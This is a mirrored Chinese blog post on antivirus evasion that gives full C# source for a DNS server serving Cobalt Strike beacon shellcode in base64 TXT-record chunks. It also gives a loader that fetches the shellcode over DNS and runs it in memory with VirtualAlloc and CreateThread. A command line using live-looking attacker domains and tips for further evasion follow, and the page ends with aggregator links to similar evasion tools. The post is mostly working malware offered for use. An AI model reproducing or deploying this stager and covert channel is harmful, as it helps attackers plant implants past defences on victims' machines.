

C#免杀之自实现DNS服务器传输shellcode
source link: https://y4er.com/post/csharp-dns-server-shellcode/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

C#免杀之自实现DNS服务器传输shellcode
相比于http协议,dns协议有着更好的隐蔽性。类比cs的dns beacon,我们可以自己实现一个dns服务器来传输shellcode。C#拥有一个优秀的第三方库ARSoft.Tools.Net
。我们可以使用他来进行dns查询和自建dns服务器。
因为dns为递归查询,所以dns的数据最终会被我们的vps接收。而对比cs的dns传输,我们需要设计一个传输规范,规定哪部分为command,哪部分为data。
我所需要的只是一个传输隧道,而dns server只需要发送cs的bin数据包过来就可以。
设计一个流程图
image.png
新建一个.net4.0的控制台项目,安装ARSoft.Tools.Net,因为.net版本问题,我们需要安装低版本的ARSoft.Tools.Net。
image.png
实现一个dns server
using ARSoft.Tools.Net.Dns;
using System;
using System.IO;
using System.Linq;
using System.Net;
namespace SharpDNS
{
class Program
{
static Byte[] bytes;
static void Main(string[] args)
{
if (args.Length<1)
{
Console.WriteLine("SharpDNS.exe beacon.bin");
return;
}
bytes = ReadBeacon(args[0]);
using (DnsServer server = new DnsServer(IPAddress.Any, 10, 10, ProcessQuery))
{
server.Start();
Console.WriteLine("Dns Server Start.");
Console.ReadLine();
}
}
static DnsMessageBase ProcessQuery(DnsMessageBase message, IPAddress clientAddress, System.Net.Sockets.ProtocolType protocol)
{
message.IsQuery = false;
DnsMessage query = message as DnsMessage;
string domain = query.Questions[0].Name;
// length.dns.test.local
// r.500.200.dns.test.local
string[] sp = domain.Split('.');
string command = sp[0];
if (command.Equals("length"))
{
Console.WriteLine("Contains Length");
query.AnswerRecords.Add(new TxtRecord(domain, 0, bytes.Length.ToString()));
message.ReturnCode = ReturnCode.NoError;
return message;
}
if (command.Equals("r"))
{
Console.WriteLine(domain);
try
{
int hasReceive = int.Parse(sp[1]);
int requireReceive = int.Parse(sp[2]);
Console.WriteLine("hasReceive length:{0},require reveive byte length:{1}", hasReceive, requireReceive);
Byte[] sendByte = bytes.Skip(hasReceive).Take(requireReceive).ToArray();
string sendString = Convert.ToBase64String(sendByte);
Console.WriteLine(sendString);
query.AnswerRecords.Add(new TxtRecord(domain, 0, sendString));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
message.ReturnCode = ReturnCode.NoError;
return message;
}
message.ReturnCode = ReturnCode.Refused;
return message;
}
static Byte[] ReadBeacon(string path)
{
Byte[] b = File.ReadAllBytes(path);
Console.WriteLine("ReadBeacon File Length:{0}", b.Length);
return b;
}
}
}
image.png
生成beancon.bin shellcode
使用nslookup可以看到成功处理了我们的dns请求。
image.png
wireshark抓到的包也成功返回了正确的beacon shellcode 长度。
然后在看下r.0.200.dns.test.local
的数据
image.png
也正确接收到了base64的分片shellcode。接下来看client的代码。
using ARSoft.Tools.Net.Dns;
using System;
using System.Collections.Generic;
using System.Net;
using System.Runtime.InteropServices;
namespace DnsLoader
{
class Program
{
static string dns;
static void Main(string[] args)
{
string domain = args[0];
dns = args[1];
long len = QueryLength(domain);
int requireReceive = int.Parse(args[2]);
List<byte> bytes = new List<byte> { };
for (int i = 0; i < len; i++)
{
int hasReceive = bytes.Count;
if (hasReceive == len)
{
Console.WriteLine("接收完毕");
break;
}
string rev = ClientQuery("r." + hasReceive.ToString() + "." + requireReceive.ToString() + "." + domain);
if (rev.Equals(null))
{
Console.WriteLine("dns 查询错误");
return;
}
byte[] b = Convert.FromBase64String(rev);
bytes.AddRange(b);
//Console.WriteLine(rev);
}
Console.WriteLine(bytes.Count);
if (bytes.Count != 0)
{
inject(bytes.ToArray());
}
}
public static long QueryLength(string domain)
{
long len = 0;
string l = ClientQuery("length." + domain);
bool success = Int64.TryParse(l, out len);
if (success)
{
return len;
}
else
{
return 0;
}
}
public static String ClientQuery(string domain)
{
List<IPAddress> dnss = new List<IPAddress> { };
dnss.AddRange(Dns.GetHostAddresses(dns));
var dnsClient = new DnsClient(dnss, 60);
DnsMessage dnsMessage = dnsClient.Resolve(domain, RecordType.Txt);
if ((dnsMessage == null) || ((dnsMessage.ReturnCode != ReturnCode.NoError) && (dnsMessage.ReturnCode != ReturnCode.NxDomain)))
{
Console.WriteLine("DNS request failed");
return null;
}
else
{
foreach (DnsRecordBase dnsRecord in dnsMessage.AnswerRecords)
{
TxtRecord txtRecord = dnsRecord as TxtRecord;
if (txtRecord != null)
{
return txtRecord.TextData.ToString();
}
}
return null;
}
}
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void inject(Byte[] buffer)
{
UInt32 MEM_COMMIT = 0x1000;
UInt32 PAGE_EXECUTE_READWRITE = 0x40;
UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)buffer.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(buffer, 0x0000, (IntPtr)(funcAddr), buffer.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0x0000;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadId);
WaitForSingleObject(hThread, 0xffffffff);
}
}
}
image.png
成功拿到beacon。
image.png
注意的是dns的txt解析一次不能传输太多,我测试的时候用的2000没什么问题。
DnsLoader.exe cdn.jdcdn.ga dns.jdcdn.ga 2000
dns的解析记录这么设置
image.png
image.png
- 通过别的协议是否更加隐蔽?
- 传输的只是shellcode,和分离免杀没区别,关键怎么绕过VirtualAlloc等api调用。
- 抠出来cs的功能一点点自己实现。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
Recommend
-
31
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 《远控免杀从入门到实践》系列文章目录: 1、
-
43
最近要开始使用Transformer去做一些事情了,特地把与此相关的知识点记录下来,构建相关的、完整的知识结构体系, 以下是要写的文...
-
12
通过spl_autoload_register实现PHP免杀WebShell 2021-04-21 / 0x00 前言参考自:
-
11
1 min readPHP利用Apache、Nginx的特性实现免杀Webshell2019-01-25get_defined_vars()、getallheaders()是两个特性函数,我们可以通过这两个函数来构造我们的webshell。 前几天看到的,一直忘记写,填坑。环境函数...
-
17
摧日:CuiRi 红队专用免杀木马生成工具 0x01 简介: ____ __ __ _____ ______ _____ / ___) ) ) ( ( (_ _) ( __ \ (_ _) / / ( ( ) ) | | ) (__) ) | | ( (...
-
8
ZheTian ZheTian Powerful remote load and execute ShellCode tool,免杀shellcode加载框架 -u string:从远程服务器加载base64混淆后的字节码。 -r string:从本地...
-
3
自适应学习率调整的方法,常见包括AdaGrad、RMSprop、AdaDelta等。 学习率调整在凸优化中,使用梯度下降算法时,通常期望学习率在一开始要保持大些以便提高收敛速度,但到最优点附件时为避免来回震荡,学习率应该小一些。也就是说,我们期望学...
-
7
免杀学习--powershell加载shellcode免杀 - Shu1L's blog Powered by Hexo | Theme - Even ©2015 - 2022...
-
3
这段时间测试了不少免杀的手法,但是对一些加载器的实现原理还没有完全理清,所以本文主要是学习总结原理和姿势,不测试实际免杀效果。 目前来看分离免杀仍然是主流的一种免杀方式,我们可以将shellcode比作子弹,那么枪也就是我们所说的加...
-
9
DNS软件bind-实现DNS服务器 DNS服务器软件::bind,po...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK